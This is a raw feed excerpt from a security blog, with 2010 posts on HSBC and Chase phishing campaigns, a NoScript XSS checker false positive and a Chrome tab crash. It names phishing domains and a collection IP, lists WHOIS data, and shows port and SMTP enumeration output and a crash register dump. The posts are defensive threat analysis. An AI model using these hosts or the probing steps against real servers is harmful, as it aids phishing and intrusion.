href="http://4.bp.blogspot.com/_2r2SQhqglf4/S-G6Atq-51I/AAAAAAAAAtc/XSJoiqG7gcY/s1600/hsbc_sec_Cred_form.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 105px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/S-G6Atq-51I/AAAAAAAAAtc/XSJoiqG7gcY/s200/hsbc_sec_Cred_form.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467855944027137874" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The form itself does not contain any sort of malware but the form is posted to the malicious domain (http://www.thebluzmen.com/verify.php) for verification as&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/S-G7EC5-j9I/AAAAAAAAAts/2cuqbKwpWVE/s1600/form_sub.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 179px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/S-G7EC5-j9I/AAAAAAAAAts/2cuqbKwpWVE/s320/form_sub.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467857100778409938" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A normal user should be aware of the artifacts used by the phishers to betray the trust.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6633809541190734797?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6633809541190734797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6633809541190734797' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6633809541190734797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6633809541190734797'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/05/hsbc-security-emails-phishing-and-trust.html' title='Credentials Verification- Security Emails Phishing and Trust Manipulation'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/S-G_bK9iTiI/AAAAAAAAAt0/y5Do6JVAa_c/s72-c/paypal_verif_email.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4073769915010365597</id><published>2010-05-05T11:00:00.000-07:00</published><updated>2010-05-05T11:08:37.112-07:00</updated><title type='text'>Papers Published - HITB EZine and Hakin9</title><content type='html'>We have just published new papers in Hack in the Box EZine and Hakin9. The magazines are free and can be fetched from below mentioned links:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;1. Open Redirect Wreck Off - HITB EZine&lt;/span&gt;&lt;br /&gt;The paper talks about the real time scenarios analyzed while conducting security assessments of different websites. It has been detected that these websites are prone to invalidated redirects and forward issues. Recently, with the release of OWASP 2010 RC1 release, A8 has been marked against the redirection based flaws in websites. The&lt;br /&gt;attacker can control the user’s trust behavior to visit the website which is malicious and controlled by the untrusted party&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hackinthebox.org/misc/HITB-Ezine-Issue-002.pdf"&gt;http://www.hackinthebox.org/misc/HITB-Ezine-Issue-002.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Pwning Embedded ADSL Routers - Inside LAN | Hakin9&lt;/span&gt;&lt;br /&gt;The paper is restricted to not only testing but also discusses the kinds of software&lt;br /&gt;and firmware used and incessant vulnerabilities that should be scrutinized while&lt;br /&gt;setting up a local network. A detailed discussion will be undertaken about the HTTP servers used for handling authentication procedure and access to firmware image providing functionalities to design and configure your own home local area network.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://download.hakin9.org/en/hakin9_04_2010_EN.pdf"&gt;http://download.hakin9.org/en/hakin9_04_2010_EN.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4073769915010365597?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4073769915010365597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4073769915010365597' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4073769915010365597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4073769915010365597'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/05/papers-published-hitb-ezine-and-hakin9.html' title='Papers Published - HITB EZine and Hakin9'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1507771756323551413</id><published>2010-05-05T10:39:00.000-07:00</published><updated>2010-05-05T10:54:36.874-07:00</updated><title type='text'>Phishing Driven with Malware - Chase Bank Spamming</title><content type='html'>Everyday, number of spam mails are sent to the customers to leverage information. This process not only results in devastation of network bandwidth but also affect the normal functioning of organizations. Many companies apply spam filters which work well to some extent but still spammers find a way to hit the internal network. There are number of defined ways to send an email in a spoofed manner.  &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/S-GuQJnpt0I/AAAAAAAAAsc/N9Rlgqxn8Ac/s1600/chasephish.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 258px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/S-GuQJnpt0I/AAAAAAAAAsc/N9Rlgqxn8Ac/s320/chasephish.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467843015087863618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This email carries an attachment which tempts the user to update his credit card information. The phisher used a good trick in completely validating the trust bu using the appropriate GUI interface as trusted by chase. Usually an alert notification is appended by the regular email server software but that is not suffice enough to prevent the attacks as such. The reason which favor this attack is the trust level set by the phisher with the victim. Mostly, victims fall into a trap where monetary transactions are concerned. The attachment is present as following&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/S-Gup9rxF7I/AAAAAAAAAsk/uqg9q8j2U1c/s1600/form.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 148px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/S-Gup9rxF7I/AAAAAAAAAsk/uqg9q8j2U1c/s200/form.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467843458560497586" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The attachment looks promising but it is not considered as authentic. all the links are pointed to:&lt;br /&gt;[1] http://www.chase.com/&lt;br /&gt;[2] http://www.chase.com/ccp/index.jsp?pg name=ccpmapp/shared/assets/page/Privacy Policy&lt;br /&gt;[3] http://www.chase.com/ccp/index.jsp?pg name=ccpmapp/shared/assets/page/Security Center&lt;br /&gt;[4] http://www.chase.com/cm/cs?pagename=Chase/Href&amp;urlname=chase/cc/terms&lt;br /&gt;&lt;br /&gt;Further we scratch through the source code and relative interfaces and we detected some strange code as encryption provided by chase. The construct is presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/S-GvbMmpnpI/AAAAAAAAAs0/sSWok_pafSc/s1600/code.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 74px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/S-GvbMmpnpI/AAAAAAAAAs0/sSWok_pafSc/s320/code.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467844304379158162" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We submit the values in the form by pressing in the next button as:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/S-GvodTvpdI/AAAAAAAAAs8/4WwUin2qfl8/s1600/next.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 130px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/S-GvodTvpdI/AAAAAAAAAs8/4WwUin2qfl8/s320/next.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467844532201563602" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After submitting the form the sniffer is activated to check the HTTP requests, the HTTP request is sent as mentioned below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/S-Gv0SR5h6I/AAAAAAAAAtE/yVIXp8iueP0/s1600/trans.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 205px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/S-Gv0SR5h6I/AAAAAAAAAtE/yVIXp8iueP0/s320/trans.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467844735399462818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We tried to look into the encryption code and upon reversing it, we detected that&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/S-Gv_1lnEoI/AAAAAAAAAtM/1MUEVBqSPLw/s1600/mal.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 68px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/S-Gv_1lnEoI/AAAAAAAAAtM/1MUEVBqSPLw/s320/mal.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467844933855941250" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The form is submitted to 213.210.237.83. We detected information as:&lt;br /&gt;canonical name stat.leaseline.nesma.net.sa. — aliases— addresses 213.210.237.83&lt;br /&gt;The domain belongs to: domain: nesma.net.sa&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;organization: National Engineering Services&amp; Marketing (NESMA)&lt;br /&gt;address: Olay St.&lt;br /&gt;address: P.O.Box 9260&lt;br /&gt;address: 11413 Riyadh&lt;br /&gt;address: Saudi Arabia&lt;br /&gt;admin-c: MB137-SA&lt;br /&gt;tech-c: MB137-SA&lt;br /&gt;reg-c: MB137-SA&lt;br /&gt;nserver: ns1.nesma.net.sa&lt;br /&gt;nserver: ns2.nesma.net.sa&lt;br /&gt;req-date: 1998-12-21&lt;br /&gt;reg-date: 1999-04-28&lt;br /&gt;source: SaudiNIC&lt;br /&gt;inetnum: 213.210.237.0 - 213.210.237.255&lt;br /&gt;netname: NESMA&lt;br /&gt;descr: National Engineering Services and Marketing Company Ltd. (NESMA)&lt;br /&gt;country: SA&lt;br /&gt;status: ASSIGNED PA&lt;br /&gt;changed: NOC@nesma.net.sa 20050322&lt;br /&gt;source: RIPE&lt;br /&gt;&lt;br /&gt;On further analysis we tried to enumerate any email server running on this IP address , we found that&lt;br /&gt;&lt;br /&gt;FTP - 21 Error: ConnectionRefused&lt;br /&gt;SMTP - 25 220 moajiladmin Microsoft ESMTP MAIL Service, Version: 6.0.2600.2180 ready at Sun, 18 Apr 2010&lt;br /&gt;19:58:10 +0300&lt;br /&gt;HTTP - 80 Error: ConnectionRefused&lt;br /&gt;POP3 - 110 Error: ConnectionRefused&lt;br /&gt;IMAP - 143 Error: ConnectionRefused&lt;br /&gt;Voila ! the email server is running. On querying the server we find that&lt;br /&gt;220 moajiladmin Microsoft ESMTP MAIL Service, Version: 6.0.2600.2180 ready at Sun, 18 Apr 2010 20:07:16 +0300&lt;br /&gt;EHLO&lt;br /&gt;250-moajiladmin Hello [XX.YY.XX.AA]&lt;br /&gt;250-SIZE 2097152&lt;br /&gt;250-PIPELINING&lt;br /&gt;250-DSN&lt;br /&gt;250-ENHANCEDSTATUSCODES&lt;br /&gt;250-8bitmime&lt;br /&gt;250-BINARYMIME&lt;br /&gt;250-CHUNKING&lt;br /&gt;250-VRFY&lt;br /&gt;250 OK&lt;br /&gt;214-This server supports the following commands&lt;br /&gt;214 HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT VRFY&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At last, the base was detected. One or the other way, the impact is really high from exploitation point of view. The case study tries to explain the infection vectors from top to the bottom in a phishing attack. The cases can be more severe but revolves around the same paradigm.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1507771756323551413?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1507771756323551413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1507771756323551413' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1507771756323551413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1507771756323551413'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/05/phishing-driven-with-malware-chase-bank.html' title='Phishing Driven with Malware - Chase Bank Spamming'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/S-GuQJnpt0I/AAAAAAAAAsc/N9Rlgqxn8Ac/s72-c/chasephish.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8675204388289401304</id><published>2010-01-09T10:25:00.000-08:00</published><updated>2010-01-09T10:51:39.160-08:00</updated><title type='text'>NoScript 1.9.9.35 - XSS Injection Checker Nested Complexity Bug still persists</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/S0jQE7rkf7I/AAAAAAAAAsI/4qs4TKitHoQ/s1600-h/95570-true_false.jpg"&gt;&lt;img style="float:right; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 98px; height: 126px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/S0jQE7rkf7I/AAAAAAAAAsI/4qs4TKitHoQ/s320/95570-true_false.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5424814534326255538" /&gt;&lt;/a&gt;&lt;br /&gt;Just a few days ago I talked about the complexity issue with the NoScript author and the false positives encountered. I released a document on the below mentioned link:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://secniche.org/papers/noscript_xss_chk_comp_flaw.pdf"&gt;http://secniche.org/papers/noscript_xss_chk_comp_flaw.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Read it for the issue in action. Soon after that there were some build versions and finally 1.9.9.35 is out. but seems like this complexity issue still persists. This time it worked with more stealthier JavaScript and Injection Checker raises the false positive.&lt;br /&gt;&lt;br /&gt;The complex links are from ad.doubleclick.net and are presented below:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;http://www.linkedin.com/html/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A1225342%3A%3A2272675%3A%3ASite-20936/Type-11/2272675_e0b24616-1ae2-4643-baee-12ebdd7a1647.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A94684%3A%3A0%3A%3A0%3A%3A%3A%3A%27%3BgEbBannerData%3D%2715264925553351627%3A%3A1%3A%3A300%3A%3A250%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3Atrue%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/391c/3/0/*/v%253B221038779%253B0-0%253B11%253B40521440%253B4307-300/250%253B34909454/34927284/1%253Bu%253D18348940%253B%257Eaopt%253D2/0/ff/0%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_3_0_67.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_3_0_3%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3 //%27%3BebO.bt%3D2%3BebO.bv%3D3%3BebO.plt%3D8%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit&lt;br /&gt;%3D120%3B]&lt;/span&gt;&lt;/blockquote&gt; &lt;br /&gt;&lt;br /&gt;Another sanitized one:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;http://ad.doubleclick.net/adi/linkedin.dart/home_nn;optout=false;lang=en;v=1;u=18348940;ue=1utcdckqzgglwtt4uqu6ap;title=o;title=ic;func=null;co_id=233588;co_id=376101;co_id=3027;co_id=60837;ind=96;ind=82;ind=121;ind=118;csize=d;csize=a;csize=h;csize=c;csize_num=1;csize_num=50;csize_num=7000;zip=110005;gdr=u;cntry=sg;reg=0;grp=3120;grp=54384;grp=113049;grp=115855;grp=742197;grp=894157;grp=1485107;grp=1613377;grp=1777141;grp=1805569;grp=1848637;edu=13494-2008;jobs=1;sub=0;con=j;age=a;age_num=24;seg=190;seg=218;tile=2;sz=300x250;extra%3Dnull;ord=41888994?]. Sanitized URL: [http://www.linkedin.com/html/addineyeV2.html?strBanner=gEbServerData%20%201%3A%3A1225342%3A%3A2272675%3A%3ASite-20936%2FType-11%2F2272675_e0b24616-1ae2-4643-baee-12ebdd7a1647.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A94684%3A%3A0%3A%3A0%3A%3A%3A%3A%20%3BgEbBannerData%20%2015264925553351627%3A%3A1%3A%3A300%3A%3A250%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3Atrue%3A%3A%3A%3Afalse%20%3BgEbInteractions%20%20%20_eyeblaster%2Chttp%253A%2F%2Fad.doubleclick.net%2Fclick%253Bh%253Dv8%2F391c%2F3%2F0%2F*%2Fv%253B221038779&lt;br /&gt;%253B0-0%253B11%253B40521440%253B4307-300%2F250%253B34909454%2F34927284%2F1%253Bu%25&lt;br /&gt;3D18348940%253B%257Eaopt%253D2%2F0%2Fff%2F0%253B%257Esscs%253D%253F%2C%20%20%3BebSrc%20%20http%253A%2F%2Fds.serving-sys.com%2FBurstingCachedScripts%2FebExpBanner_3_0_67.js%20%3BebResourcePath%20%20http%253A%2F%2Fds.serving-sys.com%2FBurstingRes%2F%2F%20%3B%3BebO%20new%20Object%20%20%3BebO.sms%20%20ds.serving-sys.com%2FBurstingScript%2F%20%3BebO.bs%20%20bs.serving-sys.com%20%3BebO.fvp%20%20Res%2F%20%3BebO.rpv%20%20_2_5_1%20%3BebO.pv%20%20_3_0_3%20%3BebO.pi%200%3BebO.wv%20%20_3_0_1%20%3BebPtcl%20%20http%3A%2F%2F%20%3BebO.bt%202%3BebO.bv%203%3BebO.plt%208%3BgEbDbgLvl%200%3BgnEbLowBWLimit%20120%3B#&lt;br /&gt;20340333708575276684].&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;On further discussion with NoScript author the complexity in this issue is more versatile due to the presence of JavaScript in a more stealthier manner. It looks like as &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;gEbServerData = "1::1225342::2272675::Site-20936/Type-11/2272675_e0b24616-1ae2-4643-baee-12ebdd7a1647.js::ExpBanner::0::::::0::::::::::1::94684::0::0::::";&lt;br /&gt;gEbBannerData = "15264925553351627::1::300::250::::::1::0::30::::::::0::0::true::::false";&lt;br /&gt;gEbInteractions = "[_eyeblaster,http%3A//ad.doubleclick.net/click%3Bh%3Dv8/391c/3/0/*/v%3B221038779%3B0-0%3B11%3B40521440%3B4307-300/250%3B34909454/34927284/1%3Bu%3D18348940%3B%7Eaopt%3D2/0/ff/0%3B%7Esscs%3D%3F,]";&lt;br /&gt;ebSrc = "http%3A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_3_0_67.js";&lt;br /&gt;ebResourcePath = "http%3A//ds.serving-sys.com/BurstingRes//";&lt;br /&gt;ebO = new Object;&lt;br /&gt;ebO.sms = "ds.serving-sys.com/BurstingScript/";&lt;br /&gt;ebO.bs = "bs.serving-sys.com";&lt;br /&gt;ebO.fvp = "Res/";&lt;br /&gt;ebO.rpv = "_2_5_1";&lt;br /&gt;ebO.pv = "_3_0_3";&lt;br /&gt;ebO.pi = 0;&lt;br /&gt;ebO.wv = "_3_0_1";&lt;br /&gt;ebPtcl = "http://";&lt;br /&gt;ebO.bt = 2;&lt;br /&gt;ebO.bv = 3;&lt;br /&gt;ebO.plt = 8;&lt;br /&gt;gEbDbgLvl = 0;&lt;br /&gt;gnEbLowBWLimit = 120;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The author seems like not interested in this layout because the scripts can not be allowed in this complex part. This means &lt;span style="font-weight:bold;"&gt;False Positive persists in the NoScript XSS Injection Checker.&lt;/span&gt; You are going to accompany it as:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/S0jNj5Qgy7I/AAAAAAAAAsA/9jsO-Ohn1k0/s1600-h/noscript_1.3.3.35.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 202px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/S0jNj5Qgy7I/AAAAAAAAAsA/9jsO-Ohn1k0/s320/noscript_1.3.3.35.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5424811767716957106" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This can lead to ambiguity whether there is a XSS attempt in real or not and can impact the user experience to some extent. All on users acceptance.&lt;blockquote&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8675204388289401304?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8675204388289401304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8675204388289401304' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8675204388289401304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8675204388289401304'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/01/noscript-19935-xss-injection-checker.html' title='NoScript 1.9.9.35 - XSS Injection Checker Nested Complexity Bug still persists'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/S0jQE7rkf7I/AAAAAAAAAsI/4qs4TKitHoQ/s72-c/95570-true_false.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7448441064137264030</id><published>2010-01-08T06:00:00.000-08:00</published><updated>2010-01-08T06:24:00.497-08:00</updated><title type='text'>Google Chrome 3.0.195.38 | Chrome Frame - Reloading Memory Allocation based Tab Crashing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/S0c7ZUZKswI/AAAAAAAAArw/9pIiAW3QQA4/s1600-h/google_snap.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 178px; height: 67px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/S0c7ZUZKswI/AAAAAAAAArw/9pIiAW3QQA4/s320/google_snap.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5424369582348088066" /&gt;&lt;/a&gt; Google Chrome, right from the start has shown some stringency in tab crashing. But crashing tabs or full browser crash is becoming more smoother than the previously reported cases. On playing around with Google Chrome and Chrome Frame direct tab crashing has been reloaded. The specific points are mentioned below:&lt;br /&gt;&lt;br /&gt;1. Scripts are checked against memory allocation part and raises a warning.&lt;br /&gt;2. In recent versions playing around with JavaScript based conversion of Unicode    &lt;br /&gt;   values to characters and rendering it directly leads to tab crashing.&lt;br /&gt;3. It has become more smoother and direct in the functionality.&lt;br /&gt;&lt;br /&gt;The software tested against this rule set is mentioned below:&lt;br /&gt;&lt;br /&gt;1. Google Chrome Browser &lt;br /&gt;2. Google Chrome Frame. (IE8)&lt;br /&gt;&lt;br /&gt;Both are installed on x64 systems running windows vista and IE8. The test is based on the script code designed to show the tab crashing in controlled manner.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Video :- &lt;a href="http://www.secniche.org/videos/goog_chrome_frame_mem_alloc_tab_crashing.html"&gt;Google Chrome 3.0.195.38 | Chrome Frame - Reloading Memory Allocation based Tab Crashing&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;IE8 directly raises a warning as:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/S0c-f14n6fI/AAAAAAAAAr4/DHMQZ0F0GJw/s1600-h/ie_check.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 240px; height: 114px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/S0c-f14n6fI/AAAAAAAAAr4/DHMQZ0F0GJw/s320/ie_check.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5424372992952494578" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;IE8 functionality is hampered. The crash produces a register state as mentioned below:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;EAX 00000000&lt;br /&gt;ECX 3F800000&lt;br /&gt;EDX 00000005&lt;br /&gt;EBX 1FC00000&lt;br /&gt;ESP 013DED00&lt;br /&gt;EBP 013DED1C&lt;br /&gt;ESI 0FDFFFF7&lt;br /&gt;EDI 00CDEA00&lt;br /&gt;EIP 6A28FCAA chrome_1.6A28FCAA&lt;br /&gt;C 0  ES 002B 32bit 0(FFFFFFFF)&lt;br /&gt;P 1  CS 0023 32bit 0(FFFFFFFF)&lt;br /&gt;A 0  SS 002B 32bit 0(FFFFFFFF)&lt;br /&gt;Z 1  DS 002B 32bit 0(FFFFFFFF)&lt;br /&gt;S 0  FS 0053 32bit 7EFDA000(FFF)&lt;br /&gt;T 0  GS 002B 32bit 0(FFFFFFFF)&lt;br /&gt;D 0&lt;br /&gt;&lt;span 